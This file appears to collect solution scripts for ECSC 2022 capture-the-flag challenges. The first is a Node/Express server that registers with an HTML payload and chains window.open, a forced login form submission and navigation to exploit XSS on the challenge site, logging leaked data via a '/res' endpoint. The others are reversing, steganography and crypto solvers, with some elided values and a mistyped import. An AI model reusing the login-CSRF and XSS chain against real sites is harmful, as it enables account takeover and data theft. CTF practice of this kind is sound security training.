import express from 'express';
import fetch from 'node-fetch';
import * as fs from 'fs';
import cors from 'cors';

const app = express();

app.use(cors({
    origin: '*',
}));


app.use(express.static('static'));

app.use((req, res, next) => {
    console.log(req.method, req.path);
    next();
});

const u = 'asdf_' + Date.now();

(async function() {
    const data = new URLSearchParams();
    data.append('username', u);
    data.append('password', u);
    data.append('secret', fs.readFileSync('payload.html').toString());
    const r = await fetch('https://monster.ecsc22.hack.cert.pl/register', { method: 'post', body: data });
    console.log('registered as '+u);
})();

app.get('/', (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    res.send(`
    <script>
    window.originalWindow = window.open('https://secret.monster.ecsc22.hack.cert.pl/secret', 'secret');
    window.open('/2');


    setTimeout(() => {
        window.location.href = 'https://secret.monster.ecsc22.hack.cert.pl/secret#3';
    }, 2000);

    </script>
    `);
});

app.get('/2', (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    res.send(`
    <script>
    loginWindow = window.open('/login');
    setTimeout(() => {
        loginWindow.document.getElementById('f').submit();
    }, 500);
    setTimeout(() => {
        xssWindow = window.open('https://secret.monster.ecsc22.hack.cert.pl/secret');
    }, 1000);
    </script>
    `);
});

app.get('/login', (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    res.send(`
    login
    <form id='f' method='post' action='https://monster.ecsc22.hack.cert.pl'>
    <input name='username' value='${u}'>
    <input name='password' value='${u}'>
    <input type=submit />
    </form>
    `);
});

app.post('/', (req, res) => {
    console.log('post');
})

app.get('/res', (req, res) => {
    console.log(decodeURIComponent(req.query.q));
    res.send('');
});

app.listen(3000, () => console.log('listening on port 3000'));

ulong_max = int('f'*16, 16)

fn1 = ''' <funkcja fn1> '''
fn2 = ...
fn3 = ...
fn4 = ...
fn5 = ...
  

def solve(code, target):
    operations = re.findall('([+\^])[\s\n\t]*0x([a-f0-9]+)', code, flags = re.M | re.I)
    for op, num in operations[::-1]:
        n = int(num, 16)

        if op == '+':
            target -= n
        elif op == '^':
            target ^= n

        if target < 0:
            target = ulong_max + 1 + target
  
    return bytes.fromhex(f'{target:x}')[::-1]
  

print(b''.join([
    solve(code, target)
    for code, target in [
	    (fn1, -0xe9eb6ada9564182),
	    (fn2, -0x612e0ca67d2ca983),
	    (fn3, 0x5e8932b407b62517),
	    (fn4, 0x5b65919c50a3b933),
	    (fn5, 0x5f27b58fa8883409)
    ]
]))

import re
import numpy as np
import matplotlib.pyplot as plt

res = []

with open('in/960x300_0__1') as f:
    content = f.read()
    row, i = 0, 0

    for x in re.findall('\s{1,2}', content):
        res.append(255 if x == '  ' else 0)
  
res = np.array(res).reshape((300, 960))

fig = plt.figure(figsize=(960, 300))

plt.imsave('out/960x300_0__1.png', res, cmap='gray')

import re
import numpy as np
import matplotlib.pyplot as plt

cnt = 0
res = []

with open('program.dump') as f:
    for line in f.readlines():
        if 'addl' in line:
            res.append(255 if '-0x8(%rbp)' in line else 0)

  
res = np.array(res).reshape((300, 960))

fig = plt.figure(figsize=(960, 300))
plt.imsave('out/program.png', res, cmap='gray')

import ed2551
  
keydata = open("key.bin","rb").read()
signing_key = ed25519.SigningKey(keydata)
  
res = signing_key.sign(b'flag')
print(res)
  
arr = [x & 255 for x in res]
print(arr)

import string

alphabet = string.ascii_letters + string.digits + '_{}' 


data = bytes.fromhex('173ca059bf5d2027251c499b87ca1806b6c6c304153d203b38')

n = 25
flag = b'ecsc{' + (b'_' * (n-6)) + b'}'


def set_str_char_at(s, i, c):
    if chr(c) not in alphabet:
        c = ord('?')
    newString = s[:i] + chr(c).encode() + s[i+1:] 
    return newString


def get_flag_char_at(flag, i):
    return flag[(i + n) % n]

def left_shift(x, b):
    res = x << b
    res2 = res & (int('1' * 64, 2))
    res3 = res & (int(('1' * 8) + ('0' * 64), 2))
    return res2 | (res3 >> 64)

key = 0

key_solved = 0

key_i = [None] * n
shift = [None] * n

i = n - 1
key_i2 = get_flag_char_at(flag, -1) ^ get_flag_char_at(flag, 0) ^ data[n-1]
print(f'{key_i2:b}')

for i in range(0, 32):
    if (key >> i) & 255 ^ key_i2 == 0:
        print('ok', i)
        shift = i
        key |= left_shift(key_i[i], shift[i])
        key |= left_shift(key_i[i], (shift[i] + 32))

print(f'i  sh  key_i {" "*25} mask {" "*64} key {" "*64} temp')


for i in range(4):
    key_i[i] = get_flag_char_at(flag, i) ^ get_flag_char_at(flag, i+1) ^ data[i]
    shift[i] = get_flag_char_at(flag, i-1) % 32

    temp = left_shift(key_i[i], shift[i])

    print(f'{i} {key_i[i]:3d} {shift[i]:5d} {key_solved:64b} {key:64b} {temp:64b}')

    key |= temp
    key |= left_shift(key_i[i], (shift[i] + 32))

    key_solved |= left_shift(255, shift[i])
    key_solved |= left_shift(255, shift[i] + 32)



print('\n')
print(f'mask: {key_solved:64b} key: {key:64b}')



def fill_missing(key, new_flag):
    for i in range(0, 23):
        shift[i] = get_flag_char_at(new_flag, i-1) % 32
        # print(shift[i], get_flag_char_at(new_flag, i-1))
        key_i2 = key >> shift[i]
        key_i2 = key_i2 & 255

        new_flag = set_str_char_at(new_flag, i+1, data[i] ^ get_flag_char_at(new_flag, i) ^ key_i2)

    if b'?' not in new_flag:
        print(new_flag)
    return new_flag


saved_key = key
saved_flag = flag

for missing in range(0, 255):
    key = saved_key
    flag = saved_flag

    mask_binary = f'{key_solved:064b}'.encode()
    new_key_binary = f'{key:064b}'.encode()
    missing_binary = f'{missing:08b}'.encode()
    
    i = 0
    for pos, x in enumerate(mask_binary):
        if x == ord('0'):
            c = missing_binary[i]
            new_key_binary = set_str_char_at(new_key_binary, pos, c)
            new_key_binary = set_str_char_at(new_key_binary, pos+32, c)
            i += 1
            if i == 8:
                break
    

    key = int(new_key_binary, 2)
    res = fill_missing(key, flag)

from Crypto.Util.number import long_to_bytes
import math

p = ...
arr = [(221, ...), (223, ...)]
d = dict(arr)

c = (d[223] * pow(d[221], -1, p)) % p 
g = math.isqrt(c)

flag = (d[221] * pow(g, -221, p)) % p

print(long_to_bytes(flag))